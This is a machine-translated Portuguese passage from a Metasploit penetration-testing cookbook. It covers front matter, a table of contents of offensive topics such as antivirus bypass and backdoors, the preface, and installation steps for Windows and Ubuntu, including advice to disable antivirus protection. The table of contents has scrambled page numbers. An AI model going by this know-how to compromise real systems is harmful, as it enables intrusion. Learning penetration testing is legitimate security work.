Você está na página 1de 269

Machine Translated by Google

Machine Translated by Google

Metasploit
Teste de penetração
Livro de receitas

Mais de 70 receitas para dominar a estrutura


de teste de penetração mais usada

Abhinav Singh

BIRMINGHAM - MUMBAI
Machine Translated by Google

Livro de receitas de teste de penetração Metasploit

Copyright © 2012 Packt Publishing

Todos os direitos reservados. Nenhuma parte deste livro pode ser reproduzida, armazenada em um sistema de
recuperação ou transmitida de qualquer forma ou por qualquer meio, sem a permissão prévia por escrito do editor,
exceto no caso de breves citações incorporadas em artigos críticos ou resenhas.

Todo esforço foi feito na preparação deste livro para garantir a precisão das informações apresentadas. No entanto,
as informações contidas neste livro são vendidas sem garantia, expressa ou implícita. Nem o autor, nem a Packt
Publishing e seus revendedores e distribuidores serão responsabilizados por quaisquer danos causados ou supostamente
causados direta ou indiretamente por este livro.

A Packt Publishing se esforçou para fornecer informações de marca registrada sobre todas as empresas e produtos
mencionados neste livro pelo uso apropriado de maiúsculas. No entanto, a Packt Publishing não pode garantir a precisão
dessas informações.

Primeira publicação: junho de 2012

Referência de Produção: 1150612

Publicado por Packt Publishing Ltd.


Livery Place 35
Livery Street
Birmingham B3 2PB, Reino Unido.

ISBN 978-1-84951-742-3

www.packtpub.com

Imagem da capa por Asher Wishkerman (a.wishkerman@mpic.de)


Machine Translated by Google

Créditos

Autor Coordenador de projeto


Abhinav Singh Leena Purkait

Revisores revisor
Kubilay Onur Gungor Linda Morris

Kanishka Khaitan

Sachin Raste Indexador


Rekha Nair

Editor de aquisição
Usha Iyer Gráficos
Manu José

Editor técnico principal


Azharuddin Sheikh Coordenador de produção

Melwyn D'sa

Editor Técnico
Vrinda Amberkar trabalho de capa

Melwyn D'sa
Machine Translated by Google

Sobre o autor

Abhinav Singh é um jovem especialista em segurança da informação da Índia. Ele tem


um grande interesse no campo de Hacking e Segurança de Rede. Ele trabalha ativamente como
freelancer em várias empresas de segurança e as presta consultoria. Atualmente, ele trabalha
como Engenheiro de Sistemas na Tata Consultancy Services, Índia. Ele é um colaborador ativo
da comunidade SecurityXploded. Ele é bem conhecido por seu blog (http://hackingalert.
blogspot.com), onde ele compartilha sobre seus encontros com hackers e segurança de rede.
O trabalho de Abhinav já foi citado em diversas revistas e portais de tecnologia.

Gostaria de agradecer aos meus pais por sempre me apoiarem e me deixarem


fazer o que eu quero; minha irmã, por ser minha médica e cuidar do meu cansaço;
Sachin Raste, senhor, por se dar ao trabalho de revisar meu trabalho; Kanishka
Khaitan, por ser meu modelo perfeito; aos seguidores do meu blog por seus
comentários e sugestões e, por último, mas não menos importante, à Packt
Publishing por tornar este projeto memorável para mim.
Machine Translated by Google

Sobre os Revisores

Kubilay Onur Gungor atualmente trabalha na Sony Europa como especialista em segurança de
aplicativos da Web e também é um dos gerentes de incidentes para as regiões da Europa e Ásia.

Ele trabalha na área de segurança de TI há mais de 5 anos. Após experiência individual de trabalho
em segurança, ele iniciou sua carreira em segurança com a criptoanálise de imagens, que são
criptografadas usando mapas logísticos caóticos. Ele ganhou experiência na área de segurança de
rede trabalhando no Data Processing Center da Isik University. Depois de trabalhar como QA Tester
na Netsparker, ele continuou seu trabalho na área de Testes de Penetração, para uma das principais
empresas de segurança da Turquia. Ele realizou muitos testes de penetração para as infraestruturas
de TI de muitos grandes clientes, como bancos, instituições governamentais e empresas de
telecomunicações. Ele também forneceu consultoria de segurança para vários fabricantes de software
para ajudar a proteger seus softwares compilados.

Kubilay também vem desenvolvendo abordagens multidisciplinares de segurança


cibernética, incluindo criminologia, gerenciamento de conflitos, gerenciamento de
percepção, terrorismo, relações internacionais e sociologia. Ele é o fundador da Arquanum
Multidisciplinar Cyber Security Studies Society.

Kubilay participou de muitas conferências de segurança como palestrante frequente.

Kanishka Khaitan, pós-graduado em Master of Computer Application pela University of Pune, com honras
em matemática pela Banaras Hindu University, tem trabalhado no domínio da web com a Amazon nos
últimos dois anos. Antes disso, ela trabalhou para a Infibeam, uma startup de varejo online com sede na
Índia, em um programa de estágio com duração de seis meses.
Machine Translated by Google

Sachin Raste é um especialista líder em segurança, com mais de 17 anos de experiência nas áreas
de gerenciamento de rede e segurança da informação. Com sua equipe, ele projetou, simplificou e
integrou redes, aplicativos e processos de TI para algumas das grandes empresas da Índia e as
ajudou a alcançar a continuidade dos negócios.

Ele está atualmente trabalhando com a MicroWorld, os desenvolvedores da linha eScan de Soluções de
Segurança da Informação, como Pesquisador de Segurança Sênior. Ele projetou e desenvolveu alguns algoritmos
inovadores para detectar e prevenir Malware e Fraude Digital, para proteger redes de Hackers e Malware. Em
sua capacidade profissional, Sachin Raste apresentou muitos whitepapers e também participou de muitos programas
de TV divulgando a conscientização sobre fraudes digitais.

Trabalhar com a MicroWorld o ajudou a desenvolver suas habilidades técnicas para acompanhar as tendências atuais
do setor de Segurança da Informação.

Em primeiro lugar, gostaria de agradecer a minha esposa, meu filho e meu grupo de
amigos próximos pelo apoio, sem os quais tudo neste mundo teria parecido impossível.
Aos meus colegas da MicroWorld e de organizações anteriores, por serem ouvintes pacientes
e me ajudarem a concluir com sucesso projetos complexos; foi um prazer trabalhar com todos
vocês.
E ao meu chefe, MD da MicroWorld, por me permitir a liberdade e o espaço para explorar além
dos meus limites.

Agradeço a todos.
Machine Translated by Google

www.PacktPub.com

Arquivos de suporte, eBooks, ofertas de desconto e muito mais


Você pode querer visitar www.PacktPub.com para arquivos de suporte e downloads relacionados ao seu livro.

Você sabia que a Packt oferece versões eBook de todos os livros publicados, com arquivos PDF e ePub disponíveis?
Você pode atualizar para a versão eBook em www.PacktPub.com e, como cliente do livro impresso, tem direito a um
desconto na cópia do eBook. Entre em contato conosco em service@packtpub.com para mais detalhes.

Em www.PacktPub.com, você também pode ler uma coleção de artigos técnicos gratuitos, inscrever-se em uma
variedade de boletins informativos gratuitos e receber descontos e ofertas exclusivos nos livros e e-books da Packt.

http://PacktLib.PacktPub.com

Você precisa de soluções instantâneas para suas questões de TI? PacktLib é a biblioteca de livros digitais online da
Packt. Aqui, você pode acessar, ler e pesquisar toda a biblioteca de livros da Packt.

Por que se inscrever?


f Totalmente pesquisável em todos os livros publicados pela Packt

f Copie e cole, imprima e marque o conteúdo

f Sob demanda e acessível via navegador da web

Acesso gratuito para titulares de contas Packt


Se você tiver uma conta na Packt em www.PacktPub.com, poderá usá-la para acessar o PacktLib hoje e
visualizar nove livros totalmente gratuitos. Basta usar suas credenciais de login para acesso imediato.
Machine Translated by Google
Machine Translated by Google

Dedicado aos meus avós por suas bênçãos. Aos meus pais e irmã pelo apoio e encorajamento,
e à minha querida amiga Neetika por ser uma motivadora.

-Abhinav Singh
Machine Translated by Google
Machine Translated by Google

Índice
Prefácio 1
Capítulo 1: Dicas rápidas do Metasploit para profissionais de segurança 7
Introdução 7
Configurando o Metasploit no Windows
Configurando o Metasploit no Ubuntu 9
Metasploit com BackTrack 5 – a melhor combinação Configurando 11 13
o laboratório de teste de penetração em uma única máquina 15
Configurando o Metasploit em uma máquina virtual com conectividade SSH 17
Começando com as interfaces – o "Hello World" do Metasploit Configurando 19
o banco de dados no Metasploit Usando o banco de dados para armazenar 21
os resultados dos testes de penetração Analisando os resultados 23
armazenados do banco de dados Capítulo 2: Coleta e varredura de 24

informações Introdução Coleta passiva de informações 1.0 – a maneira 27


tradicional Coleta passiva de informações 2.0 – o próximo nível Varredura 27
de portas – a maneira Nmap Explorando módulos auxiliares para varredura 28
Varredura de serviço de destino com módulos auxiliares Varredura de 31
vulnerabilidade com Nessus Varredura com NeXpose Compartilhamento 34
de informações com a estrutura Dradis 39
42
44
47
49

Capítulo 3: Avaliação e exploração de vulnerabilidades com base


no sistema operacional 53
Introdução 53
Explorar dicas rápidas de uso 54
Teste de penetração em uma máquina com Windows XP SP2 57
Machine Translated by Google

Índice

Vinculando um shell ao destino para acesso remoto 61


Teste de penetração no Windows 2003 Server 64
Loop infinito do cliente SMB do Windows 7/Server 2008 R2 67
Explorando uma máquina Linux (Ubuntu) 68
Entendendo as falhas de injeção de DLL do Windows 72
Capítulo 4: Exploração do lado do cliente e desvio de antivírus 77
Introdução 77
Vulnerabilidade de configuração incorreta de scripts inseguros Internet 79
Explorer Corrupção de memória de chamada recursiva de CSS Microsoft 85
Word RTF estouro de buffer de pilha Adobe Reader util.printf() estouro 88
de buffer Gerando binário e shellcode a partir de msfpayload Ignorando 91
a proteção antivírus do lado do cliente usando msfencode Usando o 96
script killav.rb para desativar programas antivírus Uma análise mais 99
profunda do script killav.rb Eliminar serviços antivírus a partir da linha 104
de comando 108
111
Capítulo 5: Usando o Meterpreter para explorar o alvo comprometido 115
Introdução 115
Analisando os comandos do sistema meterpreter 117
Escalonamento de privilégios e migração de processos 119
Criação de múltiplos canais de comunicação com o alvo 122
Comandos do sistema de arquivos Meterpreter 124
Alterando atributos de arquivo usando timestomp 126
Usando comandos de rede meterpreter 128
O getdesktop e o sniffing de pressionamento de tecla 131
Usando um script meterpreter raspador 135
Capítulo 6: Script Avançado do Meterpreter 139
Introdução 139
passando o hash 140
Configurando uma conexão persistente com backdoors 143
Girando com meterpreter 146
Encaminhamento de porta com meterpreter 148
API Meterpreter e mixins 151
Railgun – convertendo Ruby em uma arma 155
Adicionando DLL e definição de função ao Railgun 157
Construindo um script meterpreter "Desativador do Firewall do Windows" 159
Analisando um script meterpreter existente 163

ii
Machine Translated by Google

Índice

Capítulo 7: Trabalhando com módulos para testes de penetração 169


Introdução 169
Trabalhando com módulos auxiliares de scanner 170
Trabalhando com módulos administrativos auxiliares 173
Módulos de injeção SQL e ataque DOS 175
Módulos de pós-exploração 178
Compreendendo os fundamentos da construção de módulos 180
Analisando um módulo existente 182
Construindo seu próprio módulo de pós-exploração 185

Capítulo 8: Trabalhando com Exploits 191


Introdução 191
Explorando a estrutura do módulo 192
Mixins de exploração comuns 194
Trabalhando com msfvenom 195
Convertendo o exploit em um módulo Metasploit 197
Portando e testando o novo módulo de exploração 202
Fuzzing com Metasploit 203
Escrevendo um fuzzer FTP simples do FileZilla 206

Capítulo 9: Trabalhando com Armitage 211


Introdução 211
Começando com Armitage 212
Escaneamento e coleta de informações 214
Encontrando vulnerabilidades e atacando alvos 217
Manipulando vários alvos usando a chave de tabulação 219
Pós-exploração com Armitage 221
Exploração do lado do cliente com Armitage 223

Capítulo 10: Kit de Ferramentas do Engenheiro Social 227


Introdução 227
Introdução ao Social Engineer Toolkit (SET) 228
Trabalhando com o arquivo de configuração SET 229
Vetor de ataque de spear phishing 233
vetores de ataque ao site 236
Método web de ataque múltiplo 238
Gerador de mídia infecciosa 239

Índice 243

iii
Machine Translated by Google

Índice

4
Machine Translated by Google

Prefácio
O teste de penetração é um dos principais aspectos da segurança de rede no cenário atual. Envolve
uma análise completa do sistema implementando testes de segurança da vida real. Ele ajuda a identificar
potenciais pontos fracos nos principais componentes do sistema que podem ocorrer em seu hardware ou
software. A razão que torna o teste de penetração um aspecto importante da segurança é que ele ajuda a
identificar ameaças e pontos fracos do ponto de vista de um hacker.
As brechas podem ser exploradas em tempo real para descobrir o impacto da vulnerabilidade e, em
seguida, um remédio ou patch adequado pode ser explorado para proteger o sistema de qualquer ataque
externo e reduzir os fatores de risco.

O maior fator que determina a viabilidade do teste de penetração é o conhecimento sobre o sistema de
destino. O teste de penetração de caixa preta é implementado quando não há conhecimento prévio do usuário-
alvo. Um pen-tester terá que começar do zero, coletando todas as informações sobre o sistema de destino para
implementar um ataque. No teste de caixa branca, o conhecimento completo sobre o alvo é conhecido e o
testador terá que identificar qualquer fraqueza conhecida ou desconhecida que possa existir. Qualquer um dos
dois métodos de teste de penetração são igualmente difíceis e são específicos do ambiente. Os profissionais da
indústria identificaram algumas das principais etapas que são essenciais em quase todas as formas de teste de
penetração. Estes são:

f Descoberta e enumeração do alvo: Identificar o alvo e coletar informações básicas sobre ele
sem fazer nenhuma conexão física com ele

f Identificação de vulnerabilidades: Implementação de vários métodos de descoberta, como


digitalização, login remoto e serviços de rede, para descobrir diferentes serviços e software em
execução no sistema de destino

f Exploração: Explorar uma vulnerabilidade conhecida ou desconhecida em qualquer um dos softwares


ou serviços em execução no sistema de destino

f Nível de controle após a exploração: Este é o nível de acesso que um invasor pode
entrar no sistema de destino após uma exploração bem-sucedida

f Reporting: Elaboração de um advisory sobre a vulnerabilidade e suas possíveis


contramedidas
Machine Translated by Google

Prefácio

Essas etapas podem parecer poucas em número, mas, na verdade, um teste de penetração completo de
um sistema de ponta com muitos serviços em execução pode levar dias ou até meses para ser concluído.
A razão que torna o teste de penetração uma tarefa demorada é que ele é baseado na técnica de "tentativa e
erro". Exploits e vulnerabilidades dependem muito da configuração do sistema, portanto, nunca podemos ter
certeza de que um determinado exploit será bem-sucedido ou não, a menos que o tentemos. Considere o
exemplo de exploração de um sistema baseado no Windows que executa 10 serviços diferentes. Um pen-tester
terá que identificar se existem vulnerabilidades conhecidas para esses 10 serviços diferentes. Uma vez
identificados, inicia-se o processo de exploração. Este é um pequeno exemplo onde estamos considerando
apenas um sistema. E se tivermos toda uma rede de tais sistemas para penetrar um por um?

É aqui que uma estrutura de teste de penetração entra em ação. Eles automatizam vários processos de teste,
como varredura da rede, identificação de vulnerabilidades com base nos serviços disponíveis e suas versões,
exploração automática e assim por diante. Eles aceleram o processo de teste de penetração, fornecendo um
painel de controle completo para o testador, de onde ele pode gerenciar todas as atividades e monitorar os
sistemas de destino com eficiência. O outro benefício importante da estrutura de teste de penetração é a geração
de relatórios. Eles automatizam o processo de salvar os resultados dos testes de penetração e geram relatórios
que podem ser salvos para uso posterior ou podem ser compartilhados com outros colegas trabalhando
remotamente.

Metasploit Penetration Testing Cookbook visa ajudar os leitores a dominar uma das estruturas de teste de
penetração mais amplamente utilizadas nos cenários atuais. A estrutura Metasploit é uma plataforma de código
aberto que ajuda na criação de cenários de exploração da vida real, juntamente com outras funcionalidades
centrais de testes de penetração. Este livro o levará a uma emocionante jornada de exploração do mundo do
Metasploit e como ele pode ser usado para realizar testes de penetração eficazes. Este livro também cobrirá
algumas outras ferramentas de extensão que rodam sobre o framework e aprimoram suas funcionalidades para
fornecer uma melhor experiência de teste de penetração.

O que este livro cobre


O Capítulo 1, Metasploit Quick Tips for Security Professionals, é o primeiro passo para o mundo do Metasploit
e dos testes de penetração. O capítulo trata de uma introdução básica ao framework, sua arquitetura e
bibliotecas. Para começar com o teste de penetração, precisamos de uma configuração, portanto, o capítulo o
guiará na configuração de seu próprio ambiente fictício de teste de penetração usando máquinas virtuais.
Posteriormente, o capítulo discute sobre a instalação do framework em diferentes sistemas operacionais. O
capítulo termina dando uma primeira amostra do Metasploit e uma introdução sobre suas interfaces.

O Capítulo 2, Coleta e Varredura de Informações, é o primeiro passo para o teste de penetração.


Começa com a forma mais tradicional de coleta de informações e depois avança para a digitalização com o
Nmap. O capítulo também cobre algumas ferramentas adicionais, como Nessus e NeXpose, que cobrem as
limitações do Nmap, fornecendo informações adicionais. No final, o capítulo discute sobre o framework Dradis
que é amplamente utilizado por pentesters para compartilhar seus resultados de teste e relatórios com outros
testadores remotos.

2
Machine Translated by Google

Prefácio

O Capítulo 3, Avaliação e Exploração de Vulnerabilidades Baseadas no Sistema Operacional, fala


sobre como encontrar vulnerabilidades em sistemas operacionais sem patches em execução no sistema de destino.
As vulnerabilidades baseadas no sistema operacional têm uma boa taxa de sucesso e podem ser exploradas
facilmente. O capítulo discute como penetrar em vários sistemas operacionais populares, como Windows XP,
Windows 7 e Ubuntu. O capítulo aborda alguns dos exploits populares e conhecidos desses sistemas
operacionais e como eles podem ser usados no Metasploit para invadir uma máquina de destino.

O Capítulo 4, Exploração do lado do cliente e desvio de antivírus, leva nossa discussão para a próxima etapa,
onde discutiremos como o Metasploit pode ser usado para executar a exploração do lado do cliente.
O capítulo aborda alguns dos softwares populares do lado do cliente, como Microsoft Office, Adobe Reader e
Internet Explorer. Mais adiante, o capítulo aborda uma extensa discussão sobre como eliminar a proteção
antivírus do lado do cliente para evitar o acionamento do alarme no sistema de destino.

O Capítulo 5, Usando o Meterpreter para explorar o alvo comprometido, discute a próxima etapa após a
exploração. O Meterpreter é uma ferramenta de pós-exploração que possui diversas funcionalidades, que podem
ser úteis para penetrar no alvo comprometido e obter mais informações.
O capítulo aborda algumas das técnicas úteis de teste de penetração, como escalonamento de privilégios,
acesso ao sistema de arquivos e detecção de pressionamento de tecla.

Capítulo 6, Advanced Meterpreter Scripting, leva nosso conhecimento Metasploit para o próximo nível, cobrindo
alguns tópicos avançados, como construir nosso próprio script meterpreter e trabalhar com mixins de API. Este
capítulo fornecerá flexibilidade aos leitores, pois eles podem implementar seus próprios scripts na estrutura de
acordo com o cenário. O capítulo também aborda alguns conceitos avançados de pós-exploração, como
pivotamento, passagem de hash e conexão persistente.

O Capítulo 7, Trabalhando com Módulos para Teste de Penetração, muda nosso foco para outro
aspecto importante do Metasploit; seus módulos. O Metasploit possui uma coleção decente de módulos
específicos que podem ser usados em cenários específicos. O capítulo aborda alguns módulos auxiliares
importantes e, posteriormente, avança para a construção de nossos próprios módulos Metasploit. O capítulo requer
algum conhecimento básico de scripts Ruby.

O Capítulo 8, Trabalhando com Exploits, adiciona a arma final ao arsenal, discutindo como podemos converter
qualquer exploit em um módulo Metasploit. Este é um capítulo avançado que permitirá aos leitores criar seus
próprios módulos de exploração do Metasploit e importá-los para o framework.
Como todos os exploits não são cobertos pelo framework, este capítulo pode ser útil caso desejemos testar
um exploit que não esteja no repositório do Metasploit. O capítulo também discute os módulos fuzzing que
podem ser úteis na construção de sua própria prova de conceito para qualquer vulnerabilidade. Por fim, o
capítulo termina com um exemplo completo de como podemos fuzzizar um aplicativo para encontrar as
condições de estouro e, em seguida, construir um módulo Metasploit para ele.

Capítulo 9, Trabalhando com Armitage, é uma breve discussão sobre uma das extensões Metasploit populares,
Armitage. Ele fornece uma interface gráfica para a estrutura e aprimora suas funcionalidades, fornecendo opções
de exploração de apontar e clicar. O capítulo se concentra em aspectos importantes do Armitage, como encontrar
vulnerabilidades rapidamente, lidar com vários alvos, alternar entre guias e lidar com pós-exploração.

3
Machine Translated by Google

Prefácio

O Capítulo 10, Kit de ferramentas do engenheiro social, é a discussão final deste livro, que
abrange ainda outra extensão importante da estrutura. O Social Engineer Toolkit (SET) é usado para
gerar casos de teste que dependem da negligência humana para comprometer o alvo. O capítulo
aborda vetores de ataque básicos relacionados ao SET, que inclui spear phishing, vetor de ataque a
sites, geração de mídia infecciosa, como um USB.

O que você precisa para este livro


Para seguir e recriar as receitas deste livro, você precisará de dois sistemas. Um pode ser seu
sistema de pentest e o outro pode ser seu alvo. Como alternativa, você também pode trabalhar
com um único sistema e configurar um ambiente de teste de penetração usando qualquer
software de virtualização.

Além disso, você precisará de uma imagem ISO do BackTrack 5 que tenha o Metasploit pré-
instalado e outras ferramentas que discutiremos neste livro. Como alternativa, você pode baixar
a estrutura Metasploit separadamente para seu sistema operacional preferido em seu site oficial.

A quem se destina este livro Este livro


destina-se a testadores de penetração profissionais, bem como a novos usuários do Metasploit que
desejam experimentar a ferramenta. Há algo para todos. O livro tem uma estrutura de receita que é
fácil de ler, entender e lembrar. O livro começa com os fundamentos do teste de penetração e,
posteriormente, avança para o nível de especialista. A transição do nível iniciante para o avançado é
suave. Assim, pode ser facilmente lido e compreendido por leitores de todas as categorias. O livro
requer conhecimento básico de digitalização, exploração e linguagem Ruby.

Convenções
Neste livro, você encontrará vários estilos de texto que distinguem diferentes tipos de informação.
Aqui estão alguns exemplos desses estilos e uma explicação de seu significado.

As palavras de código no texto são mostradas a seguir: "Os últimos dois comandos, vulns e
db_autopwn , são comandos pós-exploração, dos quais trataremos em capítulos posteriores."

Um bloco de código é definido da seguinte forma:

# Registre as opções de execução do comando


opções_cadastrar(
[
OptString.new('USER', [ true, "O "metasploit" ]),
nome de usuário para criar", OptString.new('PASS', [ true, "A senha para este usuário", "metasploit" ]), ],
self.class)

4
Machine Translated by Google

Prefácio

Qualquer entrada ou saída de linha de comando é escrita da seguinte forma:

$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run

Novos termos e palavras importantes são mostrados em negrito. As palavras que você vê na tela,
em menus ou caixas de diálogo, por exemplo, aparecem no texto assim: "Você pode iniciar o framework
Metasploit a partir do menu Aplicativos ou da linha de comando".

Avisos ou notas importantes aparecem em uma caixa como esta.

Dicas e truques aparecem assim.

feedback do leitor
O feedback dos nossos leitores é sempre bem-vindo. Deixe-nos saber o que você pensa sobre este
livro - o que você gostou ou pode não ter gostado. O feedback dos leitores é importante para desenvolvermos
títulos que realmente aproveitem ao máximo.

Para nos enviar um feedback geral, basta enviar um e-mail para feedback@packtpub.com e
mencionar o título do livro no assunto de sua mensagem.

Se houver um tópico no qual você seja especialista e estiver interessado em escrever ou contribuir
para um livro, consulte nosso guia do autor em www.packtpub.com/authors.

Suporte ao cliente
Agora que você é o orgulhoso proprietário de um livro Packt, temos várias coisas para ajudá-lo a obter o
máximo de sua compra.

Fazendo o download do código de exemplo Você pode


fazer o download dos arquivos de código de exemplo para todos os livros Packt adquiridos em sua conta em
http://www.packtpub.com. Se você comprou este livro em outro lugar, visite http://www.packtpub.com/support
e registre-se para receber os arquivos por e-mail diretamente para você.

5
Machine Translated by Google

Prefácio

Errata
Embora tenhamos tomado todos os cuidados para garantir a precisão de nosso conteúdo, erros
acontecem. Se você encontrar um erro em um de nossos livros - talvez um erro no texto ou no
código - ficaríamos gratos se você nos relatasse isso. Ao fazer isso, você pode salvar outros leitores
da frustração e nos ajudar a melhorar as versões subsequentes deste livro. Se você encontrar
alguma errata, informe-a visitando http://www.packtpub.com/support, selecionando seu livro, clicando no
link do formulário de envio de errata e inserindo os detalhes de sua errata. Depois que suas errata forem
verificadas, seu envio será aceito e as errata serão carregadas em nosso site ou adicionadas a qualquer
lista de errata existente, na seção Errata desse título.

Pirataria A
pirataria de material protegido por direitos autorais na Internet é um problema constante em todas as
mídias. Na Packt, levamos muito a sério a proteção de nossos direitos autorais e licenças. Se você
encontrar cópias ilegais de nossos trabalhos, de qualquer forma, na Internet, forneça-nos o endereço do
local ou o nome do site imediatamente para que possamos buscar uma solução.

Entre em contato conosco em copyright@packtpub.com com um link para o material


pirateado suspeito.

Agradecemos sua ajuda na proteção de nossos autores e nossa capacidade de


fornecer conteúdo valioso.

Dúvidas Você
pode entrar em contato conosco pelo e-mail question@packtpub.com se tiver algum
problema com qualquer aspecto do livro, e faremos o possível para resolvê-lo.

6
Machine Translated by Google

Metasploit rápido
1
Dicas de segurança
Profissionais

Neste capítulo, abordaremos:

f Configurando o Metasploit no Windows

f Configurando Metasploit no Ubuntu f Metasploit

com BackTrack 5 – a melhor combinação

f Configurando o laboratório de teste de penetração em uma única máquina

f Configurando o Metasploit em uma máquina virtual com conectividade SSH f Começando

com as interfaces – o "Hello World" do Metasploit

f Configurando o banco de dados no Metasploit

f Usando o banco de dados para armazenar resultados de testes de

penetração f Analisando os resultados armazenados do banco de dados

Introdução

Metasploit é atualmente a palavra mais movimentada no campo da segurança da informação e testes de penetração. Ele
revolucionou totalmente a forma como podemos realizar testes de segurança em nossos sistemas.
A razão que torna o Metasploit tão popular é a ampla gama de tarefas que ele pode executar para facilitar o trabalho de
teste de penetração para tornar os sistemas mais seguros. Metasploit está disponível para todos os sistemas
operacionais populares. O processo de trabalho do framework é quase o mesmo para todos eles. Aqui neste livro,
trabalharemos principalmente no sistema operacional BackTrack 5, pois ele vem com a estrutura Metasploit pré-instalada
e outras ferramentas de terceiros que são executadas na estrutura.
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

Vamos começar com uma rápida introdução ao framework e as várias terminologias relacionadas a ele:

f Estrutura Metasploit: É uma estrutura de teste de penetração gratuita e de código aberto


iniciado pela HD Moore em 2003, que mais tarde foi adquirido pela Rapid7. As versões estáveis
atuais do framework são escritas usando a linguagem Ruby. Possui o maior banco de dados de
explorações testadas do mundo e recebe mais de um milhão de downloads todos os anos. É também
um dos projetos mais complexos construídos em Ruby até hoje.

f Vulnerabilidade: É uma fraqueza que permite que um invasor/pen-tester invada/comprometa a


segurança de um sistema. Essa fraqueza pode existir no sistema operacional, software
aplicativo ou até mesmo nos protocolos de rede.

f Exploit: Exploit é um código que permite que um invasor/testador tire proveito do sistema vulnerável
e comprometa sua segurança. Cada vulnerabilidade tem sua própria exploração correspondente.
Metasploit v4 tem mais de 700 exploits.

f Payload: É o código real que faz o trabalho. Ele é executado no sistema após
exploração. Eles são usados principalmente para estabelecer uma conexão entre o atacante e a
máquina da vítima. Metasploit v4 tem mais de 250 cargas úteis.

f Módulo: Os módulos são os pequenos blocos de construção de um sistema completo. Cada módulo executa
uma tarefa específica e um sistema completo é construído combinando vários módulos para funcionar
como uma única unidade. A maior vantagem de tal arquitetura é que se torna fácil para os desenvolvedores
integrar um novo código de exploração e ferramentas na estrutura.

A estrutura do Metasploit possui uma arquitetura modular e os exploits, carga útil, codificadores e assim por diante
são considerados módulos separados.

Arquitetura Metasploit

BIBLIOTECAS INTERFACES

FERRAMENTAS rex Console

CLI
Núcleo MSF

Rede

PLUGINS Base MSF GUI

MÓDULOS

Codificadores de exploração de cargas úteis Nops Para

Vamos examinar o diagrama de arquitetura de perto.

8
Machine Translated by Google

Capítulo 1

O Metasploit usa diferentes bibliotecas que contêm a chave para o bom funcionamento do framework.
Essas bibliotecas são uma coleção de tarefas, operações e funções predefinidas que podem ser utilizadas por
diferentes módulos da estrutura. A parte mais fundamental da estrutura é a biblioteca Ruby Extension (Rex) .
Alguns dos componentes fornecidos pelo Rex incluem um subsistema de soquete wrapper, implementações de
clientes e servidores de protocolo, um subsistema de log, classes de utilitários de exploração e várias outras
classes úteis.
O próprio Rex foi projetado para não ter dependências, além do que vem com a instalação padrão do Ruby.

Então temos a biblioteca MSF Core que estende o Rex. O Core é responsável por implementar todas as interfaces
necessárias que permitem a interação com módulos de exploração, sessões e plug-ins. Esta biblioteca central é
estendida pela biblioteca base do framework, que é projetada para fornecer rotinas wrapper mais simples para lidar
com o núcleo do framework, bem como fornecer classes utilitárias para lidar com diferentes aspectos do framework,
como serializar um estado de módulo para diferentes formatos de saída . Por fim, a biblioteca base é estendida pela
User Interface (UI) do framework que implementa suporte para os diferentes tipos de interfaces de usuário ao próprio
framework, como o console de comandos e a interface web.

Existem quatro interfaces de usuário diferentes fornecidas com a estrutura: msfconsole, msfcli, msfgui e msfweb.
É altamente recomendável verificar todas essas diferentes interfaces, mas neste livro trabalharemos principalmente
na interface msfconsole . A razão por trás disso é que msfconsole fornece o melhor suporte para a estrutura,
aproveitando todas as funcionalidades.

Passemos agora às receitas deste capítulo e analisemos de forma prática os vários aspectos.

Configurando o Metasploit no Windows


A instalação do framework Metasploit no Windows é simples e não requer quase nenhum esforço. O
instalador do framework pode ser baixado do site oficial do Metasploit (http://www.metasploit.com/download).

Preparando-se
Você notará que existem dois tipos de instalador disponíveis para Windows. Recomenda-se baixar o instalador
completo do framework Metasploit que contém o console e todas as outras dependências relevantes, juntamente
com o banco de dados e a configuração do tempo de execução. Caso você já tenha um banco de dados configurado
que deseja usar também para o framework, então você pode ir para o mini instalador do framework que instala
apenas o console e as dependências.

9
Machine Translated by Google

Dicas rápidas do Metasploit para profissionais de segurança

Como fazer isso...


Depois de concluir o download do instalador, basta executá-lo e relaxar. Ele instalará automaticamente
todos os componentes relevantes e configurará o banco de dados para você. Após a conclusão da instalação, você
pode acessar o framework através de vários atalhos criados pelo instalador.

Como funciona...
Você descobrirá que o instalador criou muitos atalhos para você. A maioria das coisas é click-and-go em um
ambiente Windows. Algumas das opções que você encontrará são Metasploit web, console cmd, atualização do
Metasploit e assim por diante.

Ao instalar o Metasploit no Windows, você deve desativar a proteção


antivírus, pois ela pode detectar alguns dos arquivos de instalação como possíveis
vírus ou ameaças e pode bloquear o processo de instalação.
Quando a instalação estiver concluída, certifique-se de ter colocado na lista de
permissões o diretório de instalação do framework em seu antivírus, pois ele
detectará as explorações e cargas úteis como maliciosas.

Tem mais...
Agora vamos falar sobre algumas outras opções, ou possivelmente algumas informações gerais, que são
relevantes para instalar a estrutura Metasploit no Windows explicitamente.

Erro de banco de dados durante a instalação Há um


problema comum com muitos usuários durante a instalação da estrutura Metasploit na máquina Windows. Ao executar
a configuração, você pode encontrar uma mensagem de erro, conforme mostrado na captura de tela:

10
Machine Translated by Google

Capítulo 1

Este é o resultado de um erro na configuração do servidor PostgreSQL. As possíveis causas são:

f PostgreSQL não está em execução. Use o Netstat para descobrir se a porta está aberta e o banco de dados
está correndo.

f Alguns instaladores requerem um caminho de instalação padrão. Por exemplo, se o caminho padrão for
Unidade C , alterá-la para a unidade D causará esse erro.

f Codificação de idioma.

Se você enfrentar esse problema, poderá resolvê-lo baixando a versão mais simples da estrutura, que contém apenas o
console e as dependências. Em seguida, configure o banco de dados manualmente e conecte-o ao Metasploit.

Configurando Metasploit no Ubuntu


A estrutura Metasploit tem suporte total para sistemas operacionais Linux baseados em Ubuntu.
O processo de instalação é um pouco diferente do Windows.

Preparando-se
Baixe a configuração do site oficial do Metasploit (http://www.metasploit.com/download ).

Novamente, você terá a opção de escolher uma configuração mínima ou configuração completa. Escolha seu download de
acordo com sua necessidade. A configuração completa incluirá todas as dependências, configuração do banco de dados,
ambiente, etc., enquanto a configuração mínima conterá apenas as dependências sem configuração do banco de dados.

Como fazer isso...


O processo de instalação de uma configuração completa é um pouco diferente de uma configuração mínima. Vamos analisar
cada um deles:

f Instalador completo: Você precisará executar os seguintes comandos para instalar o framework em sua
máquina Ubuntu:

$ chmod +x framework-4.*-linux-full.run
$ sudo ./framework-4.*-linux-full.run

f Instalador mínimo: Você precisará executar os seguintes comandos para instalar o framework com opções mínimas:

$ chmod +x framework-4.*-linux-mini.run
$ sudo ./framework-4.*-linux-mini.run

11
